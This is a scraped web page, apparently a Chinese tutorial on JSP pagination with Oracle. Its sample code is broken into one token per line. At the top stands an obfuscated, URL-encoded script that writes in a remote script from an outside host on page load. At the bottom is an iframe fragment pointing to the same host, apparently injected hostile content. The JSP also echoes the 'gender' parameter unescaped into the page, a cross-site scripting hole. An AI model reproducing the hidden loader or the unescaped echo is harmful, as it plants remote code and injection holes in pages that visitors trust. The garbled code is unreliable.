HTML Tags and JavaScript tutorial
<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
jsp分页技术
参考文章
http://www.javaresearch.org/article/showarticle.jsp?column=106&thread=8893
需要注意的是 jdk1.4下oracle9.2.0.7 下一定要用对应的ojdbc14.jar ocsr12.jar
websphere6 下web-inf/lib/下的文件名必须为*.jar
自己定制的时候需要修改以下地方
1, PagedStatement.java 中public RowSetPage executeQuery() throws SQLException {函数中连接数据库的方法。
2 我改造了一下jsp部分如下
<%
@ page contentType
=
"
text/html; charset=gb2312
"
%>
<%
@ page
import
=
"
page.*
"
%>
<%
System.out.println(
"
[channel]---------begin
"
);
PagedStatement pst
=
null
;
int
pageNo;
try
...
{
//
可以通过参数pageno获得用户选择的页码
pageNo
=
Integer.parseInt(request.getParameter(
"
pageno
"
) );
}
catch
(Exception ex)
...
{
//
默认为第一页
pageNo
=
1
;
}
String gender
=
request.getParameter(
"
gender
"
);
if
(gender
==
null
) gender
=
"
root
"
;
String sql
=
"
select userid, username, address from zxusers where userid like ?
"
;
//
使用Oracle数据库的分页查询实现,每页显示5条
try
...
{
pst
=
new
PagedStatementOracleImpl(sql, pageNo,
5
);
pst.setString(
1
, gender);
RowSetPage rsp
=
pst.executeQuery();
System.out.println(
"
[channel]---------3
"
);
out.print(
"
3<Br>
"
);
request.setAttribute(
"
empPage
"
, rsp);
}
catch
(Exception e)
...
{
out.println(e.toString()
+
"
<BR>
"
);
return
;
}
%>
<
html
><
head
></
head
><
body
>
…
<
script language
=
"
javascript
"
>
function doQuery()
...
{
form1.actionType.value
=
"
doQuery
"
;
form1.submit();
}
</
script
>
…
<
form name
=
form1 method
=
get
>
<
input type
=
hidden name
=
actionType
>
性别:
<
input type
=
text name
=
gender size
=
1
value
=
"
<%=gender%>
"
>
<
input type
=
button value
=
"
查询
"
onclick
=
"
doQuery()
"
>
<%
RowSetPage empPage
=
(RowSetPage)request.getAttribute(
"
empPage
"
);
if
(empPage
==
null
) empPage
=
RowSetPage.EMPTY_PAGE;
%>
…
<
table cellspacing
=
"
0
"
width
=
"
90%
"
>
<
tr
>
<
td
>
ID
</
td
>
<
td
>
代码
</
td
>
<
td
>
用户名
</
td
>
<
td
>
姓名
</
td
>
</
tr
>
<%
javax.sql.RowSet empRS
=
(javax.sql.RowSet) empPage.getRowSet();
if
(empRS
!=
null
)
while
(empRS.next() )
...
{
%>
<
tr
>
<
td
><%=
empRS.getString(
"
userid
"
)
%></
td
>
<
td
><%=
empRS.getString(
"
username
"
)
%></
td
>
<
td
><%=
empRS.getString(
"
address
"
)
%></
td
>
<
td
><%%></
td
>
</
tr
>
<%
}
//
end while
%>
<
tr
>
<%
//
显示总页数和当前页数(pageno)以及分页代码。
//
此处doQuery为页面上提交查询动作的javascript函数名, pageno为标识当前页码的参数名
%>
<
td colspan
=
4
><%=
empPage .getHTML(
"
doQuery
"
,
"
pageno
"
)
%></
td
>
</
tr
>
</
table
>
</
form
>
</
body
>
</
html
>
src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">